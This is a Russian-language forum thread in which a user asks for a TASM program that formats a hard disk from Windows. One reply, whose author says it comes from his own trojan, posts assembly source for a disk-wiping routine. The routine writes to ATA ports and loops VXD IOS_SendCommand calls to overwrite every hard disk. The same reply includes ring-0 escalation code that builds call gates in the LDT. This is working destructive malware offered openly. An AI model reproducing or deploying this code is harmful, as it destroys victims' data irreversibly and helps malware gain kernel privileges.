Наши проекты:
Журнал · Discuz!ML · Wiki · DRKB · Помощь проекту |
||
ПРАВИЛА | FAQ | Помощь | Поиск | Участники | Календарь | Избранное | RSS |
[13.59.122.162] |
|
Сообщ.
#1
,
|
|
|
Нужно написать прогу на TASM форматирующую HDD из под WINDов. Подскажите пожалуйста.
Алексей |
Сообщ.
#2
,
|
|
|
Я не уверен, что это имеено то (сам не работал), но попробуй AX=440Dh/CX=??? INT 21h (LOCK/UNLOCK LOGICAL/PHYSICAL VOLUME)......
Только потом напиши это то, что нужно или нет.... |
Сообщ.
#3
,
|
|
|
Все просто вот процедурка из моего трояна....
система такая лезем в ринг0 а потом форматим винт черз порты... hdd_destroy proc pascal mov dx,1F6h mov al,0A0h out dx,al jmp short $+2 jmp short $+2 mov dx,1F2h mov al,1 out dx,al jmp short $+2 jmp short $+2 mov dx,1F3h mov al,1 out dx,al jmp short $+2 jmp short $+2 mov dx,1F4h mov al,0 out dx,al jmp short $+2 jmp short $+2 mov dx,1F5h mov al,0 out dx,al jmp short $+2 jmp short $+2 mov dx,1F7h mov al,50h out dx,al jmp short $+2 jmp short $+2 still_going_write: in al,dx test al,8 jz still_going_write mov cx,100h mov dx,1F0h rep outsw KillHardDisk: xor ebx, ebx mov bh, FirstKillHardDiskNumber push ebx sub esp, 2ch push 0c0001000h mov bh, 08h push ebx push ecx push ecx push ecx push 40000501h inc ecx push ecx push ecx mov esi, esp sub esp, 0ach LoopOfKillHardDisk: int 20h dd 00100004h ; VXDCall IOS_SendCommand cmp word ptr [esi+06h], 0017h je KillNextDataSection ChangeNextHardDisk: inc byte ptr [esi+4dh] jmp LoopOfKillHardDisk KillNextDataSection: add dword ptr [esi+10h], ebx mov byte ptr [esi+4dh], FirstKillHardDiskNumber jmp LoopOfKillHardDisk retn hdd_destroy endp иии мы в риг0 ; subroutine: call_in_ring0 ; input registers: ESI=offset of your FAR subroutine (i.e. RETF at end) ; registers modified: flags (DF=0) CGS equ 8 ; CallGate Selector call_in_ring0: pushad push ebx ; EBX <-- GDT.base sgdt [esp-2] pop ebx xor eax, eax ; EAX <-- LDT selector sldt ax and al, not (111b) ; selector --> index*8 add ebx, eax ; EBX <-- LDT descriptor offs mov ch, [ebx+7] ; ECX <-- LDT.base mov cl, [ebx+4] shl ecx, 16 mov cx, [ebx+2] lea edi, [ecx+CGS] ; EDI <-- CG descriptor offs cld mov eax, esi ; build CallGate stosw mov eax, 1110110000000000b shl 16 + 28h stosd shld eax, esi, 16 stosw popad db 09Ah ; call 28:<esi> dd 0 ; unused, any number dw CGS+100b+11b ; LDT+R3 ret ; well done --------------------------- ; TO DO!!!!!!!!!!!!! ; entering ring0 (seh, ldt, callgate) на SEH можешь забить callring0: pusha seh_init push ebx sgdt [esp-2] pop ebx sldt ax and eax, not 111b jz __1_exit add ebx, eax mov edi, [ebx] mov ah, [ebx+7] mov al, [ebx+4] shrd edi, eax, 16 fild qword ptr [edi] call __1_popaddr pusha push ds es push ss ss pop ds es call ring0handler pop es ds popa retf __1_popaddr: pop eax cld stosd stosd mov dword ptr [edi-6], 0EC000028h db 9Ah dd 0 dw 100b+11b fistp qword ptr [edi-8] __1_exit: seh_done popa ret |